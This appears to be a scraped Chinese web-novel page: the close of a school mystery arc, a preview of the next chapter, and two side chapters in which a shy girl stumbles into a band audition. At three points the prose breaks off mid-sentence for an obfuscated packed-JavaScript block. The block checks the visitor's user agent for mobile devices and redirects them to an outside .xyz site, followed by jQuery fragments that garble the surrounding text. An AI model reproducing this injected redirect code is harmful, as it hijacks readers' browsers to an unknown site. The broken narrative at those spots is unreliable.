谭深盯着一个劲点头的两人,叹了口气,重新拿起叉子。
“……那我就姑且信任你们吧。”
“感谢!”泽墨梓和杏流玥异口同声,似乎同时松了口气。
于是,这个惊喜奖励继续在轻松欢快的氛围中进行了下去。
……虽然我感觉谭深并不轻松欢快。
*
“啊……终于结束了!”
街边路灯的辉煌下,杜苓瑛如释重负般长叹一声。
“希望以后别再有人给我们出这种挑战了。”艾怡芊看上去也有些疲倦。
此刻,我已经离开了墨荫咖啡馆,正品味着嘴里残留的香甜,和另外两人走在灯火通明的街道上。
“欸,深哥啊。”杜苓瑛突然转头叫我,“开户的事,你就这么算了?”
“呃……”
我下意识迟疑片刻,然后耸了耸肩。
“那不然呢?我还能怎样?”
“嗯……我觉得……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162953|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
杜苓瑛把双手交叉到脑后,似乎在寻思着如何开口。
“……我以为你会先大喊一声‘你们开我户干啥呢’,然后威胁他们要是再干这些偷偷摸摸的事,你就反向把他们的户都开了。”
“……我在你这里的印象就是这样吗?”我有些无语。
不过,杜苓瑛的印象倒是挺准的,上述画面我还真想象过。
但我最后还是觉得,选择性忽略会好一些。
“我对你的印象当然是这样啦。”杜苓瑛继续悠悠道,“毕竟,你可是……”
她突然弯下腰,双肩开始颤抖。
“……你可是九幽魔尊啊!哈哈哈哈哈……”
合着你是把嘲笑留到挑战结束后了是吧?!
*
“哈哈哈……”
不顾周围路人诧异的目光,杜苓瑛简直要笑到喘不过气来了。
“还有不死邪神……哈哈哈……血渊战盟……”
她抹了抹眼角笑出来的泪花。
“你们怎么照搬学校里的中二帮派啊?”
“够了,别笑了!”艾怡芊和我一样难堪,耳尖稍稍变红,“我还不是为了掩护你!”
“哈哈哈哈哈……”杜苓瑛一边走一边摇晃着,“你们小心真·不死邪神带着真·血渊战盟来告侵权哦!”
“切,”艾怡芊不屑地别过脸,“一帮中二病而已。”
“哈哈哈……”杜苓瑛还在止不住地笑,“太搞笑了……九幽魔尊……”
“你别笑了……”我不愿再回忆那段记忆,试图转移话题,“对了,你是怎么知道爵士乐起源是蓝调的?”
“唔……”杜苓瑛好不容易忍住笑,“因为御手洗洁喜欢爵士乐,我就顺带了解了一下嘛——话说你又是怎么知道摩托限速的?”
“我励志成年后要把我姐的摩托车偷走。”我扯了扯嘴角。
“祝你成功……”杜苓瑛似乎还在憋笑,“你以后可以叫摩托战神……哈哈哈……”
“不要把中二病传染进我们社团啊——还有你怎么也开始笑了?!”
我瞪着忍俊不禁的艾怡芊。
“……我只知道血渊战盟的盟主叫不死邪神,并不记得二当家叫什么。”艾怡芊强忍住笑意,“你该不会认真研究过吧?”
“我才没有啊!”我忙大叫着否认,“我只是记性好!”
“知道了,”艾怡芊闷笑着把脸埋进手心里,“摩托战神。”
“你是夏羡霞吗?!!”
我嘴上虽恼怒地抗议着,心里实则在暗暗庆幸。
他应该……没有注意到那些吧?
我偷偷在心中祈祷。
*
谭深和那个郑警官都这么明显,艾怡芊注意不到就有鬼了。
和其他二人分开后,我独自一人走在黑暗的小巷中,如是想着。
唉,无论是谭深还是郑警官,这两个都不是擅长说谎的人,所以我先前才有“物以类聚”的想法。
看见艾怡芊,郑警官为什么要脱口而出一个“赵”字?
而谭深对于自己被开户一事,生气却又略带逃避的态度也让我觉得有些微妙,像是
……他被发现了什么不好的东西。
我感觉,在这个挑战结束之后,似乎又出现了一个更复杂的连环谜。
而截止到此刻,我发现的这些异象,很可能只是那个庞大连环谜的冰山一角。
……我要不要认真调查一下呢?
*
思绪纷杂中,凉爽的晚风迎面扑来。
“……”我不禁缩起脖子,有了一丝丝寒意。
果然,要入秋了啊。
凝望着那轮雪白的圆月,我无言地想着。
……
算了,还是先别想其他的了,现在可是中秋节假期欸!
是团圆美满的日子啊……
*
(《双生连环谜》完)
*
下章预告:
芥浅承诺过的剧本杀要来啦——二十世纪初的欧洲,在一位伯爵举办的晚宴中,一串蓝宝石项链神秘失踪,且竟然接连出现了三具尸体?!
幕后的凶手,究竟潜藏在公馆可能存在的暗道阴影下,还是伪装于看似都有不在场证明的宾客中?在疾驰的列车上,侦探与他的助手一同展开了推理。
风趣健谈的归国商人,热情活泼的出逃公主,心高气傲的贵族少爷,冷淡阴沉的年轻寡妇……性格迥异的八个人中,一张由谎言与仇恨的网正缓慢被编织着。很快,调查的走向跌出了侦探的想象。
而在终焉之际,这一趟承载着沉重真相的列车,是会驶向暖曦照耀的花田,还是会坠入血色翻涌的地狱?
32.番外:论社恐是怎样加入乐队的(1)[番外]
(连载十万字纪念!番外掉落!讲的是社恐栗依雏加入掠夜彗星乐队的故事~)
*
狂风席卷!倾盆而下!电闪雷鸣!
一大场雷暴雨,就这么在黑压压的乌云层中骤然降临,侵袭了毫无遮拦的操场。
“呜啊——不要啊——”
栗依雏惨叫着,一手按住头上的军训帽子,一手用尽全力护住书包。
全速迈动着双腿,她狼狈地在雨水和狂风中开始了堪比体育中考的狂奔。
龙王大人,刚买的周边还在书包里,就算您不放过她,也请放过周边吧!
*
直到鞋袜都因奔跑而彻底湿透,栗依雏喘着气抬头,才在已经被水雾蒙住的镜片里,模模糊糊地看到了避雨处——
学校报告厅。
但愿门别锁!千万不要锁啊!!!
栗依雏疯狂祈祷着,在溅起的水花中冲刺进去——
不幸中的万幸,短得可怜的屋檐下,大门一推即开,雨水的骚扰与喧嚣顷刻被隔绝。
“呼……得救了!”
气喘吁吁地靠在门廊上,栗依雏摘下可视度趋近于零的眼镜,短暂地缓了几秒。
然后,她立刻打开书包,检查受灾情况——
幸好……幸好……毛绒绒的金色鸟类玩偶滴水未沾。
栗依雏爱怜地注视着鸟类玩偶的蓝眼睛,劫后余生般地松了口气。
她一边在心中疯狂赞颂着书包的防水工艺,一边把湿透的军帽扔到脚边,开始在衣服上找没湿的地方来擦眼镜。
吹干镜片后,栗依雏甩了甩湿漉漉的短发,望向门缝中仍阴沉一片、风雨肆虐的天空。
“……现在是世界末日的前七秒。”
今天中午恐怕回不了家了。
“唉……”
栗依雏垂下头,发出每个在军训时渴望回家的高中生特有的长叹声。
而就在这时——
“嗬?”
这一声几乎是擦着耳畔响起。
*
“哇啊——女鬼!!!”
栗依雏猛地往声源反方向弹开,顺手把眼镜往脸上一戴——
摇晃的视线中,出现了一个低马尾女鬼……
啊不!是一个脸色阴沉有如女鬼的低马尾女生,正用一双下三白直勾勾地盯着她。
被这眼神所吓,栗依雏像猫一样弓起背,护住书包,警惕地往后锁了又缩。
就在这紧绷的氛围中,下三白开口了——
“啊,这位阁下……”
她声音低哑,活像传统游戏中的大反派。
“……在下可不是女鬼。”
管你是不是鬼呢,你这样贴在别人脑袋后面说话特恐怖知道吗?!
在心中发出尖锐爆鸣声的同时,栗依雏瑟缩着,小心翼翼地打量起这位下三白女鬼——
背光环境下,下三白的双眸阴沉黯淡,在较长的发丝下显得更加可怖。刘海中央,夹着一个眼睛图样的发卡,给那张冷漠的脸又添了一丝诡异。
“那、那……”被这位臭脸“女鬼”贴那么近,栗依雏的声音不禁开始哆嗦,“……那你是?”
“呵,在下么?”
下三白唇角噙着一丝若有若无的笑。
“在下乃是……”
她一边低声喃喃,一边缓缓举起手中之物——栗依雏这时才发现那不是一把大刀。
下三白拿着的,是一把贝斯。
“在下乃是缪斯魔法的承载着!”
她一脸严肃地宣布。
与此同时,栗依雏的恐惧烟消云散。
出现了,中二病。
*
“小梦!”
与下三白面面相觑之时,一声好听的低音从台上传来。
闻言,栗依雏下意识和下三白一起望去——
只见一位戴着猫耳帽的少年正站在台上,朝这边招着手。
“她也是吗?”
听完那人的呼喊后,栗依雏才注意到,台下还站有好几个人,并和那位少年一样盯着这个方向。
“呜呃……”栗依雏发现这些人的目光全都集中在自己身上后,脊背顿时漫上一股寒意,腿也瞬间软了。
“是……”她在极度紧张中,被这些目光逼得往后退了小半步,“是什么?”
“嗯?”
回应她的是离她最近的人——被称作“小梦”的下三白。
“我们不过是想确认一下,阁下是否为……”
她神秘兮兮地扬起嘴角——
“契约缔结者。”
……好吧,果然不能指望中二病的回答。
*
“是乐队面试啦!小梦你别中二了!”
台上的少年同样意识到了中二病不靠谱,向栗依雏这边走了过来。
“同学,你也看到我们在校园论坛里发的征人帖了吧?”
“……啊?”
注视着少年热情的笑容,栗依雏更加紧张,死死抱住手中的书包。
“什、什么征人帖?”
“嗯?”意外于栗依雏的迷茫,少年疑惑地偏了偏头,“就是……”
那人的语气一下子变得快活起来——
“我和小梦组的乐队——‘掠夜彗星’的征人帖!”
“欸?”
听到这话,栗依雏的眼睛亮了一下,头也下意识地抬起。
“乐、乐……队?”
她吃力地念出这个词语——她曾想象过无数次的词语,心跳得更快了。
“没错!‘掠夜彗星’乐队!”
见栗依雏感兴趣,少年高兴地说了下去。
“这次面试上,我们打算招一个吉他手和一个鼓手。目前,我和小梦已经写好第一首歌了,招齐人后,应该很快就会筹备第一次演出……”
演出。
“……场地目前还没定,我们不太想把第一次演出放在学校里……”
少年接下来讲的话,栗依雏已经听不见了。
因为,在“演出”这个词闪入栗依雏大脑的瞬间,她的脑海顷刻只剩下了一系列地狱般的景象——
灯光如针般刺进眼睛里,成百上千张面孔冷冰冰地陈列着,还有那些震耳欲聋的呼叫声……
“……我们希望营造和谐融洽的乐队氛围……”
女生的,或是男生的谈话声、嬉笑声、议论声……
眼神交接、话语碰撞、肢体接触……
“不、不!”
*
“啊?”
少年被栗依雏的反应吓了一跳。
“不……”栗依雏大口大口地深吸着气,肩膀剧烈起伏着,“我……”
她咬了咬嘴唇,双手使劲揪着书包面料。
“我……我只是来这里避雨的。”
她费了好大劲,才把这句话吐出来。
“我不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166690|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是来面试乐队成员的!”
“……哦。”
得知这一事实,少年顿时失望下来。
“好吧,那打扰了。”
就这样,扔下这句话后,少年转过身,像之前栗依雏遇见的无数人一样,慢慢离开。
“……”
栗依雏盯着少年的背影,抿了抿唇,低下头,用蚊子般的声音向视野之外的人道歉——
“……对不起。”
“阁下无需道歉。”
“?哇啊!!!”
*
这一次,栗依雏弹射得更猛了,书包差点从她手中飞走。
双脚重新落在地板上后,她惊魂未定地注视着刚发完话的下三白。
“抱歉,让阁下又一次受惊了。”
下三白注视着满脸惊恐的栗依雏,眼神平静无波。
你也知道是“又一次”啊?!栗依雏一边颤颤巍巍地扶好眼镜,一边无声地疯狂吐槽。
“在下只是想说,”不顾栗依雏稍皱的眉,下三白仍在往下念经,“阁下因躲雨之故,在报告厅一地与在下等人相逢,想必也是缘分差使……”
……这家伙在说什么呢?听着这串中二到爆的话,栗依雏在心悸之余感到心梗。
“……既然如此,阁下何不与在下握手一次,也算是缘分一场。”
……蛤?
下三白不疾不徐说完这些后,意味深长地看了懵逼的栗依雏一眼。
然后,栗依雏眼睁睁地看着她抬起两只手,并停在了半空中。
“呃……啊?”
正常情况下,伸一只手就足够了吧?!
栗依雏注视着她这一古怪的举动,只感到一阵惶恐,身体依旧僵在原地动弹不得。
“在下拙见,”下三白补充道,“握两只手,比握一只手更有利于续缘。”
这这这中二病的脑子可以载入经典医学案例了吧?!!
震惊与紧张中,栗依雏能清楚听到自己胸腔中剧烈的心跳声。
见脸色难看的栗依雏仍然没有动作,下三白皱了皱眉,竟然……
做出一个有点悲伤的表情。
“不可以吗?”
吐出这句话的同时,下三白的神情透露出一丝淡淡的失落,眸色也暗了下去。
“欸?!!”
根本没料到对方会这样,栗依雏惊了一下,眼神躲闪着。
“不!我、我不是那个意思!我……”
下三白仍在无言地看着疯狂摇头的她,手静止在半空中,让栗依雏不由得感到一丝莫名的内疚。
“我……”栗依雏更加慌乱,感觉喉咙像是被什么东西给抓住了,“呃……”
不可以吗?
沉默中,这句话仿佛又一次在栗依雏耳侧响起。
“……好、好的!”
于是,在这位下三白请求般的目光中,鬼使神差地,颤抖着的栗依雏勉强鼓起勇气,把两只手都伸了出去。
啊啊啊啊啊啊这中二病怎么那么鬼烦人啊?!把手递上前的过程中,栗依雏的内心如是尖叫。
而在四只手接触的一瞬,不知为何,下三白挑了挑眉,嘴角浮起弧度。
“在下荣幸。”
她悠悠地说着,握紧了栗依雏僵硬的双手。
“在下名叫乔似梦。”
……看来,中二病连真名也很中二。
*
(未完待续)
33.番外:论社恐是怎样加入乐队的(2)[番外]
“你好……我、我叫栗依雏。”
两只手一齐被握住几秒后,栗依雏结结巴巴地吐出这几个字,只觉得自己的指尖快要失去知觉。
行了吧行了吧?这样就行了吧?
她在心中呼喊着,感觉自己随时要原地倒下。
快放开我吧,乔似梦阁下!
“啊,栗依雏阁下。”
快把栗依雏逼疯的乔似梦庄重地点点头,上下摇动着栗依雏僵硬的双手,那双微微上扬的下三白里闪烁着某种戏剧化的光芒。
“幸会,幸会。”
这中二病晚期患者的会面仪式到底还要持续多久啊?!
栗依雏在内心疯狂哀嚎,恨不得立刻化作一缕青烟从现场飘走。
就在她濒临崩溃的边缘,指尖忽然触到对方掌心里一层粗糙的硬茧——是长期练习乐器留下的痕迹,但并非出现在栗依雏熟悉的那几个位置。
哦,差点忘了,她是个贝斯手。
但凡这人在贝斯上的技术力能分一点给她的语言功能,栗依雏都不至于尴尬得想要原地蒸发。
“栗依雏阁下。”
就在栗依雏快要窒息的时候,乔似梦终于松开了她的手。但那道平静的视线依旧紧紧锁住她,仿佛在演什么大型历史剧般郑重其事。
“敢问在下……能否邀您一同观赏本次契约结缔仪式呢?”
“……欸?”
栗依雏再一次僵住了,目光不由自主地哆嗦着移向舞台方向。
*
舞台下方的阴影处,那位戴着猫耳帽的少年正低头看着手机,似乎在等待某个特定时刻的到来。而不远处,三男一女被性别分开到了两边——
女生戴着顶鸭舌帽,头发刚及肩的头发,脑后扎有一条小辫。蓝色的帽檐下,她的表情淡漠得像结了层薄冰。即便隔着一段距离,栗依雏也能感受到那股生人勿近的气场。
呜……是冰山女王类型的。栗依雏在心里默默给对方贴上了标签。
男生中个头最矮的那个,顶着头乱糟糟的头发。乍一看,他给人一种阴郁的感觉。但与他外表形成鲜明对比的是,他正手舞足蹈地说个不停,肢体语言丰富得像个默剧演员。
嗯……活脱脱一只多嘴麻雀。
另一位男生体型微胖,白净的脸上架着一副圆眼镜。但这副本该增添书卷气的眼镜,反而让他的眼睛显得更小了。他正嬉皮笑脸地和“多嘴麻雀”争抢话语权,每说一句话就习惯性地昂一下头,怀里抱着的那把电吉他镶嵌着繁复的银饰,在昏暗光线下依然闪闪发亮。
呃……这做派,简直是“幼年领导”的完美代言人。
最后那位男生站姿懒散,偏长的刘海几乎遮住了眼睛,脸上散布着几颗明显的青春痘。他像是专门负责捧场的,每当另外两人说话间隙,就会适时地爆出一声“牛x哟”或者“我艹”,夸张的语调引得另外两人更加兴奋。
哇……好一个“strong男神”。
“阁下?”
栗依雏猛地收回目光,这才想起身边还有个等待回复的中二病晚期患者。
此时此刻,乔似梦正眨巴着她那双下三白眼睛,期待地望着她。
“敢问阁下意愿如何?”
别再用这种舞台剧腔调说话了!也别冲我眨巴你那双下三白了!栗依雏浑身的鸡皮疙瘩都在疯狂抗议。
这见鬼的“契约结缔仪式”简直是一帮子神人开会,还要让她“观赏”?相比之下,她宁愿回家删光所有游戏存档!
“……”见栗依雏的表情已经说明了一切,乔似梦稍稍垂下目光,声音忽然低了几分。
“不可以吗?”
这一次的故技重施,比之前显得更加失落。
哇啊啊啊啊啊啊——
“可以可以!当然可以!”
栗依雏一边在内心疯狂尖叫骂街,一边同手同脚地走下台阶。
宛如奔赴刑场般,她无声地悲鸣着,向舞台方向壮烈前进……
这就是所谓的“中二病也要搞事情”吗?!!
*
“嗯?”
眼见灵魂已经死去一半的栗依雏僵硬地走来,最先注意到的是那位“幼年领导”。他一推圆眼镜,朝猫耳帽少年扬了扬下巴。
“呃……怎么回事?”他的声音带着明显的不解,“烁哥,你刚不是说这女的不参加吗?”
“……”被称作“烁哥”的少年脸色瞬间阴沉了几分。
“欸?咋了烁哥?”“幼年领导”故作天真地歪着头,“我没记错吧?哥你是叫夏烁吧——”
“我是女的。”
夏烁冷着脸挤出这四个字,成功同时在两个方面骂了孙器。
报告厅里陷入片刻死寂。
“夏烁,”
乔似梦一把抓住了这个没人说话的机会。
“这位阁下确实不参加契约结缔,她只是来观赏的。”
呃……要不您还是别说话了?“阁下”和“契约结缔”这些词一出来,栗依雏顿时感觉自己被中二病病毒给污染了。
“哦,好的。”
夏烁冲僵硬的栗依雏笑了笑。
有了之前的那次交谈,栗依雏不敢再多看夏烁。她保持着顺拐的走路方式,缓缓挪到了右侧座位第一排,整个人如坐针毡。
而就在这时,“幼年领导”似乎终于消化完了刚才的信息冲击。
“啊?”
他瞪圆了眼睛,嘴巴张成了一个完美的“O”型。
“我的喵呀?你……你竟然……”
“好了,时间到了。”
夏烁生硬地打断了他,转身走向台下,大步向左侧座位的第一排走去。
她一俯身,从座位上的黑色挎包里翻出一叠乐谱,纸张哗啦作响。
“这次面试,我们主要会问一些关于吉他学习情况的问题。”
夏烁整理着手中的乐谱,语气变得公事公办。
“同时,我们也会让你们现场演奏一段,考察一下你们的……”
“那我呢?”
唐突发问的是“冰山女王”,她的眼神直直看向夏烁,里面满是询问。
“我的面试是怎么样的?”
这时,栗依雏才注意到,她并没有和其他三个男生一样抱着吉他。
“呃……这个嘛……”
夏烁不自觉地捏紧了刚翻出来的乐谱,眼神有些游移,脸上浮现出明显的尴尬。
“好像,截至目前为止,参加面试的鼓手只有你一个。”
*
“……啊?”
“冰山女王”愣住了,帽檐下的眼睛微微睁大。
“呃,是的。
”夏烁干笑着,走到对方面前,挠了挠脸颊,“所以,嗯……恭喜你!你直接加入掠夜彗星了。”
“……”
“冰山女王”仰头盯着夏烁,脸上的表情复杂得难以解读。那是一种混合了惊讶、无奈和些许荒谬感的微妙神情。
“不好意思,我不知道我是该高兴,还是该不高兴。”
栗依雏不知道,她是在感慨学校鼓手的稀有程度,还是在委婉表达不想跟另外三位“神人”中的任何一个组乐队。
和栗依雏一样,夏烁显然也拿不准对方的意思,嘴唇开合了几次都没能说出话来。
“……算了,我愿意加入。”
紧绷的气氛中,“冰山女王”轻轻叹了口气,像是自己说服了自己。
“我叫詹澄。”
然后,她便径直走向右侧座位的第一排,步伐平稳。同时,她的表情再次恢复成一汪静止的湖水,平静得看不出任何波澜。
经历了心情大起大落大起的夏烁明显松了口气,肩膀都放松了下来。
但是栗依雏却猛地提起了一口气——因为詹澄选择了她附近的座位。
为什么她要来这一边啊?不能去另外那边的空位吗?!!
尽管中间隔了两个空座位,栗依雏也几乎被吓得半死。
清晰地感受着从詹澄身上散发出来的低温气场,栗依雏连呼吸都不自觉地放轻了。
无论是谁都好!快来救我出去——
*
就在这种战战兢兢的氛围中,栗依雏被迫听完了那三位“神人”的自我介绍。
“神人一号”多嘴麻雀叫钟天,同样是刚结束军训的高一新生。他的话唠程度堪称人间喇叭成精,但本人似乎完全意识不到这个问题,全程沉浸在自我表达的快乐中。
“神人二号”幼年领导叫孙器,刚升上高二。在自我介绍中,他有意无意地插了几句关于自己老妈是某部门高官的暗示,每说一句就要推一下眼镜,昂起头的姿势活像只骄傲的小公鸡。
“神人三号”Strong男神叫黄铭杰,也是高一新生。他自称是音乐资深爱好者,号称半小时不听歌就浑身难受,说话时总是不自觉地撩头发,仿佛头顶有个看不见的鼓风机在一直对着他吹。
每个人都回答了一轮基本问题后,夏烁示意孙器和黄铭杰先去她挎包旁边的位置等候。然后,她抽出一张乐谱递给钟天,让他开始演奏。
“呃……别急。先等我拿一下拨片。”钟天略带紧张地说着,伸手在裤袋里使劲地掏摸,那架势仿佛要把口袋掏穿。“这拨片啊,是我半年前买
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170661|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下来的。在这之前,我的拨片一直都是用红色系的,但这次的是黑白色,上面还有骷髅图案,我觉得特别酷炫……”
“好了,钟天同学。”夏烁实在忍受不了他的喋喋不休了,做了个“请”的手势,动作幅度大得差点打到对方的脸。
“哦哦,好的。”钟天答应着,慌忙开始拨弦——
“钟哥!加油啊!”
“我去,钟哥牛x!”
台下两位“神人”的起哄声立刻涌来,钟天的手随之一顿,刚刚响起的几个音符戛然而止。
“呃……”他有些不好意思地转头看向脸越来越黑的夏烁,“不好意思,我、我被吓了一跳……”
夏烁咂了咂嘴,忍无可忍般使劲深吸一口气,那口气吸得如此之深,仿佛要把报告厅里所有的氧气都抽空——
“台下的人请保持安静!!!”
她的怒吼声如同实质般在空间里炸开,震得空气都在颤动。
“……人请保持安静!”
“……保持安静!”
“……安静!”
回声在空旷的报告厅中层层荡漾,孙器和黄铭杰顿时被吓得像两尊石像,连呼吸都屏住了。
“呼……”
喊完后,夏烁爽快地舒了口气,胸口的起伏渐渐平复,重新转向彻底惊住的钟天。
“同学,请继续吧。”
“……”钟天愣愣地盯着夏烁,仿佛看到了一只突然站起来说人话的企鹅。
然后,他破天荒地没再说一个字,直接闷头弹了起来。而台下的两位“神人”也像被按了静音键一样,石头似的立在原地,没敢再动弹一点。
“顺带一提,”
琴声中,坐在栗依雏身旁的乔似梦往椅背上一躺,悠悠地解说,语气里带着几分与有荣焉的自豪。
“夏烁可是主唱大人哦~她的肺活量可是经过特别训练的!”
……如此看来,主唱一般都很拼命。栗依雏在内心默默补充,并且可能或多或少都有点暴力倾向。
*
“夏烁同志,我其实从小学开始就幻想加入乐队了。”
轮到孙器面试时,他抱着那把华丽的电吉他,说话时下巴微扬,仿佛不是在面试,而是在进行某种重要的工作汇报。
“嗯,”夏烁冷脸盯着滔滔不绝的孙器,手里的笔无意识地在纸上点着,“好的。”
“那个时候啊,”孙器看也没看自己手中的乐谱,仍在说个不停,“我经常在我家的二楼排练。啊对了,我家有三层楼,比较大嘛,是我妈那边的单位免费派的,带个小花园,隔音效果也特别好……”
不是刚刚才说了保持安静吗?这幼年领导怎么还在bb个没完?栗依雏看到夏烁的眉头跳了一下。
“……我妈妈说我很有音乐天赋,从小就给我请了最好的老师。这把吉他就是她托人从国外带回来的,限量款,上面镶的都是真钻……”
……好吧,我瞬间理解了一切。栗依雏和台上的夏烁仿佛在这一刻产生了跨空间的共鸣。
暗示了一堆后,他终于肯把乐谱放在谱架上,准备演奏了。后排的乔似梦也终于松开了她捂耳朵的手。
紧接着而来的,是孙器浮夸的表情与拨弦动作,以及那一大串糟糕的弦音——说是噪音污染都不为过。
乔似梦默默把手放回了耳朵上,表情痛苦得像在受刑。
*
“学妹,你为什么不留长发呢?”
舞台上,黄铭杰笑吟吟地撩了撩头发,满脸的青春痘在舞台灯光下更加显眼了。他完全没在意面前的乐谱,反而对着夏烁品头论足起来。
“我觉得,你的气质很适合留长发嘛。女生不是一般都喜欢保养头发吗?我知道有款洗发水特别好用,我表姐就在用……”
“你再多嘴一句,”夏烁微笑着说,但眼睛里没有丝毫笑意,“我就把你从这舞台上扔下去。”
“哎呀……我只是提个建议嘛,开玩笑的。”黄铭杰陪着笑,又把头发一拨,那动作熟练得像是经过专门训练,“学妹你这么凶,以后会找不到男朋友的哦~”
夏烁的手指关节捏得发白,脸上的笑容越发“灿烂”了。
黄铭杰终于慢悠悠地抬起手,再放到吉他上——然后开始了一场灾难性的表演。
他没弹准的音符数量,大概和他脸上的青春痘一样多。每一个错音都像是对听众耳朵的一种酷刑。
“……这里是人间炼狱吗?”
乔似梦瘫在座位上,有气无力地吐槽道。旁边的栗依雏深以为然地点点头,开始认真思考现在假装突发急症逃离现场的可能性有多大。